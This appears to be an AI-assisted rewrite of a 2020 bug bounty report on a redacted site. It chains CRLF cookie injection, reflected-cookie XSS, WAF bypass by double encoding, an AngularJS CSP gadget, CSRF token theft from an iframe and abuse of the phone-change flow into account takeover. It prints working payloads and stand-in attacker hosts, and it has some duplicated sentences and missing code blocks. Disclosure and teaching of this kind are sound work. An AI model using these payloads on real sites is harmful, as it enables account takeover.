Skip to content
XSS Write-up Advanced

The Full Chain ⛓

A CRLF injection in a redirect allowed setting a cookie that was reflected unsanitised into a page, enabling self-XSS. By chaining an Angular template injection to bypass CSP and abusing a phone-change flow that only required SMS verification, an attacker could take over a victim's account.

Master SEC Follow

Published on master-sec.medium.com

This is part of a report of a bug that I sent back in 2020, changing of course the program name for obvious reasons.

Master SEC, on master-sec.medium.com

The full write-up lives on its author's site

It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 33 min read.

Context

The report describes a chain of bugs found in 2020 on a program whose name has been changed. Two hostnames appear throughout: redacted.redacted.com and www.redacted.com. The report does not name the product, the company or the program, and it does not describe what the application is for beyond the features the chain touches.

Four separate weaknesses are joined together:

  • A CRLF injection on a redirect endpoint on redacted.redacted.com, which lets an attacker set a cookie in the victim's browser.
  • A cookie whose value is reflected on several pages without sanitisation, including inside script tags on a page reached after login at www.redacted.com/redacted.
  • An AngularJS 1.5.8 file served from the site and whitelisted by the Content Security Policy, which suffers from a template injection DOM XSS.
  • A phone-change feature that validates only the new phone number by SMS, with no check against the old number, no email confirmation and no password prompt.

The redirect endpoint is the entry point. The report shows it being reached as https://redacted.redacted.com/robot.txtasd%0dSet-Cookie:foo%3dbar, where the %0d injects a carriage return into the Location header and the rest of the string becomes a Set-Cookie header in the response. On its own this only sets a cookie, and the researcher notes there was no XSS to be had from it directly.

The reflected cookie is the second piece. The report calls it "the redacted cookie" and says it was reflected on multiple pages without proper sanitisation, accepting <> characters. Most of those reflections had been fixed after an earlier report, but a few remained. The one that mattered is on www.redacted.com/redacted, a page reached after login, where the cookie value lands inside script tags.

The AngularJS asset is the third piece. A file at https://www.redacted.com/redacted/angular/angular.min.js runs AngularJS 1.5.8, which the researcher identifies as vulnerable to a template injection DOM XSS. Because the file is served from the site's own domain, the CSP whitelists it, so loading it does not violate script-src.

The phone-change feature is the impact path. It lets a logged-in user replace the primary SMS phone number, and the only check is an SMS code sent to the new number. The report contrasts this with two other account features that did require the old credentials: adding a secondary email asks for the main account password at the next login, and changing the password asks for the old password. The phone change asks for neither, which is what makes an account takeover automatable once script execution is achieved.

Setup

The work started with a scan. Burp Suite produced the initial CRLF finding on redacted.redacted.com, and the rest of the chain was built by hand from there. No special configuration of Burp is described beyond it being the scanner that surfaced the redirect issue.

For the CSP bypass the researcher needed to know which JavaScript the site loaded. Two tools did that job:

  1. gau, described as a tool from the researcher's friend cdl, was used to enumerate .js assets across the domain.
  2. anti-burl was then used to filter the results down to JavaScript files that returned HTTP 200 and contained the word "angular".

That filter led to the AngularJS file at https://www.redacted.com/redacted/angular/angular.min.js, which runs AngularJS 1.5.8. The version matters because the report identifies it as suffering from a template injection DOM XSS, and because the file is served from the site's own domain it is whitelisted by the CSP.

The impact path needed infrastructure outside the target:

  • An SMS-capable phone number. The first attempt used the Twilio API, but it did not receive SMS from the target site. The researcher then spent time finding an SMS provider that can receive short SMS messages and call back over HTTP, and settled on one.
  • A PHP host reachable over HTTP, which receives the SMS gateway callback at http://myserver.com/sms.php?Text=SMSmessagebodyfromsite and talks to the target's API.
  • An attacker-controlled page, https://evil.com/poc.html in the report's step-by-step description, which hosts the final HTML that drives the victim's browser.
  • A place to serve the PNG payload, https://mysite.com/img.php in the cookie payload and https://attacker.com/img.php in the combined link, allowed by the img-src https://* CSP rule.

Two test environments appear: the researcher's Mac and a Linux desktop. The difference between them turned out to matter, because the Mac was running an adblocker that blocked redacted.redacted.com traffic, which is how the cookie overwrite problem was noticed.

The preconditions on the victim side are a visit to the attacker page and a subsequent login to the target, since the injected cookie only does its work on the post-login page where it is reflected inside script tags. On the attacker side the phone-change flow requires an attacker-controlled number that can receive the SMS code, and the account takeover requires the victim's email address to be used in the lost-password flow.

Finding it

The pieces were not found in the order the chain uses them. The CRLF came first, from a scanner, and the rest came from following what that finding made possible.

The CRLF on the redirect

Burp found the CRLF injection on redacted.redacted.com at the start of the year, during a scan. The report is specific about the type: it was a Location: redirect CRLF injection. That matters because the injected header lands in a redirect response, not in a page body, so there was no XSS to be had from it directly. The only demonstrable effect was that a cookie could be set. Opening the following URL in Chrome sets a new cookie:

Text
https://redacted.redacted.com/robot.txtasd%0dSet-Cookie:foo%3dbar

The %0d is the carriage return, and everything after it is parsed as a new Set-Cookie header. The researcher describes this as the only impact and says the whole of the following week went into thinking about how the behaviour could be exploited. The answer, eventually, was to use the cookie-setting primitive to plant a value that some other page would reflect.

The reflected cookie

The next step was to look for a cookie whose value comes back in a response. Fuzzing cookies turned up one, referred to in the report as the redacted cookie, which was reflected on multiple pages and was not being properly sanitised: it accepted <> characters. That is the property that makes a reflected cookie interesting, because angle brackets are what a script tag needs.

An earlier report had covered this cookie, and most of the reflections had been fixed in response. A few remained. Digging across the site, the researcher found the one that mattered: on www.redacted.com/redacted, a page reached after login, the redacted cookie is reflected without sanitisation inside script tags. A cookie value that reaches the inside of a script block is a script injection point, and because the value arrives through a cookie, the CRLF primitive from the first finding is a way to plant it.

The CDN block

The first attempt to use the reflection was blocked outright. Sending the following in the cookie header caused the CDN to block the request:

Text
redacted=ORIGINALCOOKIE<img src=x>

The researcher was stuck at this point for a while. After a few attempts and different encoding tests, the conclusion was that double encoding gets past the protection. The report gives a generic example: if the CDN bans the word script, sending the following is reflected by the page as script and passes the filter:

Text
scrip%25%37%34,

The payload letter is encoded to %74 and then encoded again, and the page reflects it as script. The report calls this "beautiful", and it is the trick that every later payload depends on.

The AngularJS template injection

With a way to inject script past the CDN, the next obstacle was the Content Security Policy, which the researcher describes as one of the hardest to defeat. More than two months went into searching for a JSONP callback that the policy would allow, and the report is clear that this was the wrong thing to be looking for.

What changed the approach was an old paper: the 2017 Black Hat talk "Don't Trust the DOM: Bypassing XSS Mitigations Via Script Gadgets", at https://www.blackhat.com/docs/us-17/thursday/us-17-Lekies-Dont-Trust-The-DOM-Bypassing-XSS-Mitigations-Via-Script-Gadgets.pdf. Reading it turned the search towards script gadgets, that is, existing scripts already trusted by the page that can be made to execute attacker-controlled markup.

The domain had plenty of JavaScript to look through. Using gau to enumerate .js assets and anti-burl to keep only files returning 200 that contained the word "angular", the researcher reached this file:

It runs AngularJS 1.5.8, which the report identifies as suffering from a template injection DOM XSS. Because the file is served from the site's own domain, the CSP whitelists it, so a script tag pointing at it is allowed. The payload that follows loads that file and then uses Angular's ng-app directive to have the framework evaluate an expression:

HTML
<script src='https://www.redacted.com/angular/angular.min.js'></scripT><body ng-app>{{x={'y':''.constructor.prototype};x['y'].charAt=[].join;$eval('x=alert(1))');}}</body>

The payload uses Angular's ng-app directive to evaluate an expression. With this HTML reflected in the page, the researcher had a controlled JavaScript environment running under the strict CSP. With this HTML reflected in the page, the researcher had a controlled JavaScript environment under the strict CSP.

Exploitation

The chain runs from a redirect on one host to a phone change on another, and each step exists because the previous one was blocked by something. The order below follows the report.

Step 1: Setting a cookie through the CRLF injection

The entry point is the Location: redirect CRLF on redacted.redacted.com.

Text
https://redacted.redacted.com/robot.txtasd%0dSet-Cookie:foo%3dbar

The %0d is a carriage return, and the text after it is parsed as a second header, Set-Cookie: foo=bar. The report is explicit that this was the only impact available at that stage: it was a redirect CRLF, so there was no XSS, and the researcher spent the whole of the next week thinking about how the behaviour could be exploited. The primitive is a way to write an arbitrary cookie into the victim's browser for the target domain, which only becomes useful once some page reflects a cookie value.

Step 2: Finding a cookie reflected into script tags

The search was for a cookie whose value comes back in a response. Fuzzing cookies found that the redacted cookie was reflected on multiple pages and was not being properly sanitised, accepting <> characters. An earlier report had covered this cookie and most of the reflections had been fixed, but a few remained.

Digging across the site, the researcher found the reflection that mattered: on www.redacted.com/redacted, a page reached after login, the redacted cookie is reflected without sanitisation inside script tags. That is the join between the two findings. The CRLF writes the cookie, and the post-login page reads it back into a script block, so the cookie value becomes script content.

Step 3: Bypassing the CDN with double encoding

The first attempt to use the reflection was blocked. Sending the following in the cookie header caused the CDN to block the request hard:

Text
redacted=ORIGINALCOOKIE<img src=x>

The report gives a generic example: if the CDN bans the word script, the following is reflected by the page as script and passes the filter.

Text
scrip%25%37%34,

The t is written as %74 and then encoded again, and the page reflects it as script. Every later payload in the report relies on this: some letters are double URL encoded so that the CDN's word filters never see script, body, img or eval, while the page still renders them.

Step 4: Bypassing CSP with Angular template injection

The CSP was, in the researcher's words, one of the hardest he had ever had to defeat. More than two months went into hunting for a JSONP callback the policy would allow, and the report states plainly that this was the wrong thing to look for.

The change of direction came from the 2017 Black Hat paper "Don't Trust the DOM: Bypassing XSS Mitigations Via Script Gadgets", at https://www.blackhat.com/docs/us-17/thursday/us-17-Lekies-Dont-Trust-The-DOM-Bypassing-XSS-Mitigations-Via-Script-Gadgets.pdf. It pointed the search at script gadgets: scripts the page already trusts that can be made to execute attacker-controlled markup.

The domain had many JavaScript assets. gau enumerated the .js files and anti-burl kept only those returning 200 that contained the word "angular", which led to:

That file runs AngularJS 1.5.8, which the report identifies as suffering from a template injection DOM XSS. Because it is served from the site's own domain, the CSP whitelists it, so a script tag pointing at it is allowed. The payload loads the file and then uses ng-app to have Angular evaluate an expression:

HTML
<script src='https://www.redacted.com/angular/angular.min.js'></scripT><body ng-app>{{x={'y':''.constructor.prototype};x['y'].charAt=[].join;$eval('x=alert(1))');}}</body>

Step 5: Choosing an impact path to account takeover

The report is blunt about why this step exists: a simple alert(document.cookie) proof of concept earns a zero CVSS score and an informative rating, so impact has to be shown, especially on this program. The researcher went looking for logical flaws that could lead to an account takeover and tested three account features.

Feature Result Reason given
Add a secondary email Rejected It asks for the main account password when you log in after adding the new email
Change password Rejected It asks for the old password, which the attacker does not have
Change primary SMS phone Accepted It validates only the new phone by SMS, with no SMS to the old phone, no email confirmation and no password

The password change was also rejected on style grounds: the researcher did not want a proof of concept that relies on social engineering the user into typing the password again, and preferred something fully automated.

The phone change fits that preference. The attacker goes to the lost-password flow, selects SMS as the recovery method, and the code goes to the number the attacker has just installed. The report describes this as behaving "like if it were the owner of it all the time".

Step 6: Stealing the anti-CSRF token from the iframe DOM

Sensitive API JSON calls carry a CSRF-Token header. The report says the token is not stored in cookies, not in HTTP responses and not in local storage, and that the researcher still does not know exactly how it is generated. What he did find is that after the page loads, a JavaScript library stores it in the <body> DOM element as an attribute, something like:

HTML
<body data-token="[redacted]="

The token is generated dynamically and stored in the <body> DOM element. The obstacle is that all the target's sites send X-Frame-Options: SAMEORIGIN, so an attacker page cannot frame them. But the injected script is already running in the target's origin, so it can create the iframe itself and read the token from the child document:

JavaScript
var profileIframe = document.createElement(‘iframe’); profileIframe.setAttribute(‘src’, ‘https://www.redacted.com/settings/phoneadd');profileIframe.setAttribute(‘id’, ‘miframe’); document.body.appendChild(profileIframe); document.getElementById(‘miframe’).onload = function() { var csrf = profileIframe.contentDocument.getElementsByTagName(“body”).item(“data”).dataset.token;

The iframe loads the phone-add settings page, and on load the script reads dataset.token from the child's body element. The researcher tested it and reports that it worked.

Step 7: Sending the phone-change request and the SMS provider problem

The intended flow is five steps:

  1. Load the change phone number page.
  2. Grab the CSRF token.
  3. Submit the form with the new phone number.
  4. Connect back to the attacker's page to get the SMS six-digit code.
  5. Submit the six-digit code to complete the phone change.

Two problems appeared here. The first was the SMS provider: the Twilio API did not receive SMS from the target site, and it took time to find a provider that can receive short SMS messages and send an HTTP API callback. That was sorted.

The second was the CSP. After the two HTTP requests, the exploit needed to fetch the received SMS code from an external site, and the connect-src CSP header blocked all outgoing traffic. The connect-src CSP header blocked all outgoing traffic, with connect-src to *.redacted.com.

Step 8: Using the site API as a cross-communication channel

With connect-src limited to *.redacted.com, the exploit could not read the code from the attacker's server directly. The researcher reversed the direction: instead of the browser pulling the code from outside, the attacker's server pushes the code into the target's own API, and the browser reads it back from there. The report describes reading the API documentation and creating an item with a description, which the PHP script changes and the JavaScript payload later reads.

The SMS gateway calls the PHP script when a message arrives at the exploit number:

Text
http://myserver.com/sms.php?Text=SMSmessagebodyfromsite

The script extracts the code, authenticates to the API with client credentials, and PATCHes the description of an item with the code:

The first request gets an OAuth token from https://api.redacted.com/v1/oauth2/token. The second sends a PATCH to https://api.redacted.com/v1/redactedendpoint that sets the description to the extracted code.

On the victim's side, the injected JavaScript does the same two calls in reverse, then submits the code to the phone validation endpoint:

The script reads the code from the API and submits it to the phone validation endpoint with the stolen CSRF-Token header. The document.write calls are debug output that shows each stage in the page. The victim reads the SMS code with JavaScript from the API itself, bypassing the connect-src restriction.

Step 9: Fitting the payload under the URL limit with a PNG

The full JavaScript payload, with the debug messages, was base64 encoded and came to something like:

Text
dmFyIHByb2ZpbGVJZnJhb..... continues for 5000 more chars

That is well over 5,000 characters, and because the payload is injected through a GET request via the CRLF, it has to stay under 2,000 characters to work in most browsers. The solution came from the Secjuice paper "Hiding JavaScript in PNG, CSP bypass", at https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/: put the code inside a PNG image and load it through the img-src https://* CSP rule. The page loads the image, decodes it with canvas JavaScript, reconstructs the code in a variable and evaluates it. The researcher calls the result "magic".

Adapting the technique to work with the Angular template injection took most of a day and a lot of modification. The cookie payload that resulted is:

The payload loads the img.php stored on mysite.com, decodes it with eval after loading, and executes the JavaScript code. The payload loads the image, decodes it with eval, and executes the JavaScript code. Some letters are double URL encoded, as in %25%36%31 for a, specifically to get past the CDN's word filters such as the one on eval.

The final combination puts the CRLF, the evil cookie, the Angular template injection and the PNG canvas payload into a single link:

The cookie value has to arrive exactly as sent, encoding included, or the WAF blocks it. Getting that right took a few hours and, in the researcher's words, weird stuff like triple URL encoding, which he says he had never used in a proof of concept before. The triple encoding is visible in ev%25%32%35%25%33%36%25%33%31l, which becomes eval on the reflection. The cookie is set with Domain=redacted.com and Path=/.

Step 10: Cookie denial of service against the overwrite

Testing on the Mac did not behave like the Linux desktop. The cause was an adblocker on the Mac blocking redacted.redacted.com traffic. That led to a second discovery: redacted.redacted.com/redacted "overwrites" the evil cookie, so the injected value does not survive long enough to be reflected on the post-login page.

The fix was to kill access to redacted.redacted.com from the victim's browser. The page causing the interference was https://redacted.redacted.com/setcookie?params, so the researcher set a cookie scoped to that path:

Text
Set-Cookie: trash=DOSlong2kchars;Path=/setcookie;Domain=.redacted.com

The researcher used path instead of domain: from the redacted domain he could not set a cookie for another subdomain by changing Domain, but he could set a cookie that only applies to the /setcookie path. Setting a very long cookie, above 15,000 characters, made the HTTP server stop interfering with the proof of concept and return a 429 error instead.

The final HTML page for the proof of concept sets the evil cookie through the CRLF link and then bombs the /setcookie path with long cookies.

Root cause

The chain works because five separate weaknesses line up, and each of the defences in place addresses only one of them.

The CRLF in the redirect

The report describes the bug as a Location redirect CRLF injection on redacted.redacted.com, where a %0d in the path leads to an injected header. A %0d in the path therefore ends the header early, and whatever follows is parsed by the browser as a new header. In the report's example the injected text is Set-Cookie:foo%3dbar, so the response sets a cookie. The report does not describe how the endpoint builds the header, so the exact code path is not shown.

The unsanitised cookie reflected into script tags

The redacted cookie is read back into the page on several routes, and on www.redacted.com/redacted it lands inside script tags without sanitisation. The report says the cookie was reflected without proper sanitisation and allowed <> characters. An earlier report had already covered this cookie and most of the reflections were fixed, but the fix was incomplete: a few routes still reflected the value. The combination is what turns the CRLF primitive into script execution, because the attacker controls the cookie value and the page places it where the browser will parse it as markup.

The whitelisted AngularJS 1.5.8

The CSP trusts scripts from the site's own domain, and https://www.redacted.com/redacted/angular/angular.min.js is such a script. It runs AngularJS 1.5.8, which the report identifies as vulnerable to template injection DOM XSS. Angular compiles markup that carries ng-app and evaluates expressions inside {{ }}, so any HTML the page reflects can ask the framework to run an expression. The $eval call in the payload is Angular's own evaluator, not a browser primitive, which is why the gadget works under a policy that forbids inline script. The researcher found the script by enumerating JavaScript assets with gau and filtering for files containing "angular".

The CSRF token readable from the same-origin iframe DOM

The CSRF-Token header value is not in cookies, not in responses and not in local storage. It is written into the <body> element as a data-token attribute after the page loads. That placement makes it readable by any script in the same origin, and the injected script is in that origin. X-Frame-Options: SAMEORIGIN prevents other sites from framing the target, but it does not prevent the target's own script from creating an iframe of a target page and reading the child document. The protection was designed against cross-origin framing and does nothing against script that is already running on the origin.

The phone-change flow that validates only the new number

The phone-change feature asks for an SMS code sent to the new number and nothing else: no SMS to the old number, no email confirmation, no password. The report contrasts this with adding a secondary email, which asks for the main account password when you log in with the new email. and with changing the password, which asks for the old password. Once an attacker can drive the phone-change flow from the victim's browser, with the victim's session and a valid CSRF token, the only remaining check is a code the attacker receives on their own phone. The lost-password flow then sends the recovery code to that same number, which completes the takeover.

Why the defences did not stop the chain

Defence What it covered Why it failed here
CDN word filters Blocked the first payload, redacted=ORIGINALCOOKIE<img src=x> Double encoding, and in the final link triple encoding, meant the filter inspected encoded text while the application decoded it back before reflecting
CSP script-src Restricted script sources The AngularJS file was served from the site's own domain and therefore whitelisted; the gadget ran through Angular's evaluator rather than inline script
CSP connect-src Blocked outgoing traffic to external hosts The exploit used the target's own API on *.redacted.com as the channel, so no external connection was needed
CSP img-src https://* Allowed images from any HTTPS host The PNG payload was loaded as an image from the attacker's host and decoded with canvas
X-Frame-Options: SAMEORIGIN Stopped other sites framing the target The iframe was created by script already running in the target's origin
CSRF token Kept out of cookies, responses and local storage It was stored in the DOM, which same-origin script can read
Cookie overwrite by redacted.redacted.com/redacted Replaced the injected cookie before it could be used A very long cookie scoped to Path=/setcookie made that host return 429 and stop interfering

The pattern is that each control was correct in isolation and each was bypassed by using a resource the control already trusted: the site's own script file, the site's own API, the site's own origin, and the site's own cookie jar.

Impact

The chain ends in a full account takeover. The attacker does not need the victim's password, an email inbox or any interaction beyond a visit to the attacker page and a later login. The report describes the effect on the victim's cookies as being "infected, like getting a malware": once the CRLF link has run, the evil cookie sits in the browser and does its work the next time the victim authenticates.

The takeover depends on a small set of conditions:

  1. The victim must be redirected to the attacker page, https://evil.com/poc.html in the report's description. The report's step-by-step description starts with the victim being redirected to the exploit page.
  2. The victim must log in to the target after the infection, because the reflected cookie only lands inside script tags on the post-login page at www.redacted.com/redacted.
  3. The attacker needs a phone number that can receive the SMS code from the target, which is why the SMS provider that can receive short messages and call back over HTTP was required.
  4. The attacker needs the victim's email address for the lost-password step, since the recovery code is sent to the number the exploit has just installed.

When those hold, the attacker controls the account: the primary phone number is replaced with the attacker's, and the lost-password flow with SMS recovery then delivers the reset code to the attacker. The report's attacker-side steps end with setting a new password and the account being taken over.

The report also notes a visible side effect on the victim's side: after the phone is changed, the account shows a new primary phone, [redacted], already verified, and no notification is sent to the victim.

The researcher stresses that the impact is what made the report valuable. A bare alert(document.cookie) would have been rated informative with a zero CVSS score; demonstrating the account takeover is what the program rewarded. The report states the work ended in a 5 figures bounty, on a program it describes as paying well when impact is shown and as rarely vulnerable to easy XSS in the core of the application.

Fix

The report says little about remediation. The one change it records is that most of the reflected-cookie instances were fixed after an earlier report on the same cookie, and that a few remained when this chain was built. Nothing in the report says what the program changed after this disclosure, so the rest of this section is what the chain implies should be fixed, not what was.

What the report records as fixed

The redacted cookie had already been reported before. After that first report, most of the pages that reflected it were fixed, but the reflection on www.redacted.com/redacted, the post-login page where the value lands inside script tags, was still there. That incomplete fix is what the chain used.

What the chain implies should be fixed

Sanitise the cookie before it reaches the page. The reflection on www.redacted.com/redacted places the cookie value inside script tags and accepts <>. The value should be encoded for the context it lands in, and a cookie value should not be written into a script block at all. Fixing this one reflection breaks the join between the CRLF primitive and script execution, whatever else remains.

Remove the CRLF from the redirect. The endpoint on redacted.redacted.com puts request data into the Location header without stripping carriage return and line feed characters, so %0d ends the header and the rest is parsed as a new one. The input should be rejected or stripped of %0d and %0a before the header is built, and the redirect target should be validated against an allowlist rather than copied from the path.

Update or remove AngularJS 1.5.8. The file at https://www.redacted.com/redacted/angular/angular.min.js is whitelisted by the CSP and suffers from template injection DOM XSS. A framework version with that behaviour should not be served from a CSP-trusted path.

Require validation of the old phone number. The phone-change flow validates only the new number by SMS, with no SMS to the old phone, no email confirmation and no password. Adding any one of those, ideally a code to the existing number or the account password, means an attacker who drives the flow from the victim's browser still cannot complete it. The report contrasts this with the secondary-email and password-change flows, which already ask for the main account password and the old password respectively, so the phone flow is the outlier.

Keep the CSRF token out of the DOM. The token is written into <body data-token="..."> after the page loads, which makes it readable by any script in the origin. The report does not propose a fix, but the placement is what let the injected script read it from a same-origin iframe despite X-Frame-Options: SAMEORIGIN.

Variants to test

Each piece of the chain is a technique that can be tried on its own. The list below follows the order of the chain, with what a positive result looks like for each.

CRLF on redirect endpoints

Look for endpoints that put part of the request into a Location header: redirectors, login and logout handlers, language switchers, short-link resolvers, "return to" parameters, and static-looking paths such as the robot.txtasd path in the report. Send a carriage return and a header of your own and watch the response headers.

A positive result is a response whose headers contain a second Set-Cookie line that you did not send from the application, or any injected header appearing after the Location line. Test %0d, %0a and %0d%0a, and try them in the path as well as in query parameters. If the response is a redirect and the injected header is a Set-Cookie, you have the same primitive as the report: a way to write a cookie for the target domain from a link.

Cookies reflected into script tags

Enumerate every cookie the application sets, then fuzz each value with characters that matter in HTML and JavaScript contexts and watch where the value comes back. The report's cookie allowed <> characters.

A positive result is a page where the cookie value appears unencoded inside a <script> block, or anywhere else where the surrounding context lets the value change the markup. Check post-login pages in particular, since the report's reflection was on www.redacted.com/redacted, a page reached after authentication. If the value is reflected but encoded, note the encoding and check whether a different route or parameter reflects it raw.

Double encoding against CDNs and WAFs

When a payload is blocked, encode the characters the filter is looking for and then encode the % signs themselves. The report's example is a t written as %74 and then encoded again:

Text
scrip%25%37%34,

A positive result is a response where the filter does not block the request and the application reflects the decoded character, so the page shows script while the filter saw only encoded text. Try this on any parameter that is blocked by a CDN rule: encode the banned word once, twice and three times, and compare what the filter accepts with what the page renders. The final link in the report uses triple encoding for exactly this reason.

AngularJS template injection on whitelisted assets

Enumerate JavaScript assets with a tool such as gau, then filter for files that return 200 and contain framework names. The report used anti-burl to filter 200 response js files containing "angular", and reached an AngularJS 1.5.8 file.

A positive result is a framework file served from a CSP-whitelisted path whose version is known to evaluate markup, plus a page that reflects HTML you control. Inject the ng-app and {{ }} pattern from the report and see whether the expression runs:

HTML
<script src='https://www.redacted.com/angular/angular.min.js'></scripT><body ng-app>{{x={'y':''.constructor.prototype};x['y'].charAt=[].join;$eval('x=alert(1))');}}</body>

If the alert fires, the gadget works under the policy. The same approach applies to other frameworks that compile markup found in the DOM; the 2017 Black Hat paper on script gadgets is the reference the report used to find this class of issue.

Same-origin iframe token theft

When a token is not in cookies, responses or local storage, look at the DOM after the page loads. The report found the CSRF token in a data-token attribute on <body>, written there by a JavaScript library.

A positive result is a page where a sensitive token appears as an attribute or text node in the DOM, and a script running in the same origin can read it from a child iframe. X-Frame-Options: SAMEORIGIN does not stop this, because the parent page is on the same origin. The pattern to try is the report's snippet: create an iframe pointing at the settings page, wait for onload, and read the attribute from contentDocument.

API-based exfiltration when connect-src is restricted

When connect-src blocks external hosts, check whether the target's own API can carry data. The report used an OAuth client-credentials token and a PATCH to an item's description to move the SMS code from the attacker's server into the target's API, then read it back from the browser.

A positive result is an API on a host allowed by connect-src where the attacker can write a value with one set of credentials and read it back with another, or with the same credentials from the browser. Look for public API documentation, client-credentials grants, and any object with a free-text field the attacker can create and update. If the browser can reach that host, the CSP restriction no longer matters.

The cookie overwrite problem

If the injected cookie is replaced before it can be used, look for the page that does the replacing and whether it can be made to fail. The report found redacted.redacted.com/setcookie?params and set a very long cookie scoped to that path:

Text
Set-Cookie: trash=DOSlong2kchars;Path=/setcookie;Domain=.redacted.com

A positive result is that the interfering host starts returning an error, in the report's case a 429, and stops overwriting the cookie. The path attribute is the part to note: from one subdomain you cannot set a cookie for another subdomain by changing Domain, but you can scope a cookie to a path on the parent domain.

Hunting notes

The chain in this report is unusual in that no single bug is exotic. A redirect CRLF, a reflected cookie, an old AngularJS file and a phone-change flow that trusts the new number are all ordinary findings. What made the report valuable was the order they were joined in, and the amount of work spent on the parts that blocked the join. For anyone hunting the same class of bug, the useful lessons are about where to look and what to do when a piece is blocked.

Where these bugs hide

Redirect endpoints that copy request data into Location. The report's entry point was a path on redacted.redacted.com containing robot.txtasd. Paths that resemble static files but are handled by an application route are worth testing, because developers often treat them as harmless and skip validation. The same applies to logout handlers, language switchers, "return to" parameters and short-link resolvers.

Cookies that come back in the page. The redacted cookie was reflected on multiple pages, and the report notes that most of those reflections had been fixed after an earlier report. That history is itself a signal: a cookie that was once reflected in many places tends to have a few forgotten routes left. Post-login pages are the ones to check, because the report's reflection was on www.redacted.com/redacted, a page reached only after authentication.

Framework files served from the site's own domain. The AngularJS 1.5.8 file was not hidden. It sat at https://www.redacted.com/redacted/angular/angular.min.js and was whitelisted by the CSP because of where it was served from. Any CSP that trusts the site's own domain trusts every script on it, including old framework versions with known DOM XSS behaviour. The 2017 Black Hat paper on script gadgets is the reference the researcher used to start looking in this direction, and it is worth reading before hunting CSP bypasses on any target with a large JavaScript estate.

Tokens written into the DOM. The CSRF-Token header value was not in cookies, responses or local storage, which is where most testers look first. It was in <body data-token="...">, written there by a JavaScript library after the page loaded. When a token seems to appear from nowhere, inspect the DOM after load rather than the network traffic.

Account features that validate only the new value. The phone change asked for an SMS code sent to the new number and nothing else. The report contrasts it with adding a secondary email, which asks for the main account password at the next login, and with changing the password, which asks for the old password. Any flow that replaces a recovery factor is worth testing for the same gap: does it check the old factor, the password, or the email, or only the new one?

Recon signals

The report names two tools that did the enumeration work, and both are worth keeping in a recon pipeline.

gau was used to collect .js assets across the domain. The output is a list of script URLs, and the interesting ones are those served from paths the CSP already trusts. A file under the site's own domain is a candidate gadget before you even open it.

anti-burl was then used to filter that list down to files that returned HTTP 200 and contained the word "angular". The filter is the important part: it turns a long list of scripts into the small set of framework files that are known to evaluate markup. The same approach works for other framework names, and the version in the file is what tells you whether the gadget is likely to fire.

Two more signals come from the report's own experience:

  • A CDN that blocks a payload is a signal that the payload is close. The block on redacted=ORIGINALCOOKIE<img src=x> did not mean the reflection was unusable; it meant the encoding needed work.
  • A cookie that gets overwritten before it can be used is a signal that something on the target is actively resetting it. The report found redacted.redacted.com/setcookie?params doing the overwriting, and used cookie bombing to make that host return 429.

Showing enough impact

The report says a simple alert(document.cookie) PoC gives a zero CVSS score and an informative rating. A simple alert(document.cookie) proof of concept, in the researcher's words, gives a zero CVSS score and an informative rating. The program in question, according to the report, pays well when impact is demonstrated and is rarely vulnerable to easy XSS in the core of the application, so a bare alert would not have been enough.

What changed the rating was turning the script execution into an account takeover. The researcher tested three account features and picked the one that could be automated: the phone change, which validates only the new number. The proof of concept then showed the whole path, from the CRLF link through the Angular gadget and the API channel to the phone change and the lost-password reset. The report includes a step-by-step description of the exploit from the victim's and the attacker's side.

The practical lesson is to spend the time after the alert fires. Script execution on a page is the start of the impact story, not the end of it. Look for the account feature that can be driven from the victim's session with the least additional checking, and build the proof of concept around that feature rather than around the alert. The report attributes the bounty to demonstrating impact rather than a bare alert.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 169 min read.

What happened, in plain words

This is the story of a security researcher who, in 2020, found a way to take over other people's accounts on a website. The report does not say which website or company it was: the names have been replaced with the word "redacted" throughout, so when you see redacted.redacted.com or www.redacted.com, read it as "the real site's address, hidden".

What makes this report worth reading is that no single bug was clever on its own. Each one was small and, by itself, fairly harmless. The researcher found four of them and joined them together like the links of a chain, so that each link made the next one possible. The report's title, "The Full Chain", is exactly that idea.

Here are the four weaknesses, in the order the chain uses them.

1. A redirect that could be tricked into setting a cookie. A web page can send your browser a small instruction called a header, and one of those instructions is "go to this other address instead" (a redirect). Another instruction is "store this small piece of data for me" (a cookie). The site had an address that copied part of what you typed into the "go to this other address" instruction without cleaning it first. By slipping a special invisible character into the address, the researcher could make the site send a second instruction of his own choosing, namely "store this cookie". Think of it like a form letter where the recipient's name is typed in by the sender: if the sender can type a line break and then extra text, the extra text appears as if it were part of the official letter. That is the first link.

2. A cookie whose value is printed back into the page. Cookies are just text, and websites often read them back and show them somewhere on the page. One particular cookie on this site was being printed back without being cleaned, on several pages. Cleaning matters because some characters have special meaning in a web page: the angle brackets < and > are how you mark the start and end of a piece of code that the browser will run. If a cookie value containing those characters is printed into the page, the browser cannot tell the difference between the site's own code and the cookie's text, and it runs the text as code. This is called cross-site scripting, or XSS for short. Most of these printing spots had already been fixed after an earlier report, but a few were missed, including one on a page you only reach after logging in. That is the second link: the first link lets the attacker write a cookie, and the second link makes the site run whatever that cookie contains.

3. An old copy of a JavaScript framework that would run text as code. Modern sites load chunks of ready-made code called libraries or frameworks, the way a cook might use a ready-made sauce instead of making it from scratch. This site loaded a framework called AngularJS, version 1.5.8. AngularJS has a feature where it looks through the page for text written in double curly brackets, {{ like this }}, and treats that text as a small program to run. That is handy for the site's developers, but it means that if an attacker can get text with curly brackets onto the page, AngularJS will run it. The site also had a security rule called a Content Security Policy (CSP) that says "only run code that comes from our own address". The old AngularJS file was on the site's own address, so the rule happily allowed it. The attacker did not need to sneak a new file past the rule: he used a file the rule already trusted. That is the third link.

4. A phone-number change that only checked the new number. Many sites let you add a phone number so you can receive a code by text message (SMS) when you forget your password. This site's phone-change feature asked for a code sent to the new number and nothing else: no code to the old number, no email confirmation, no password. Compare that with two other features on the same site: adding a second email address asked for your main password the next time you logged in, and changing your password asked for the old password. The phone change was the odd one out. That is the fourth link, and it is the one that turns "someone can run code in my browser" into "someone owns my account".

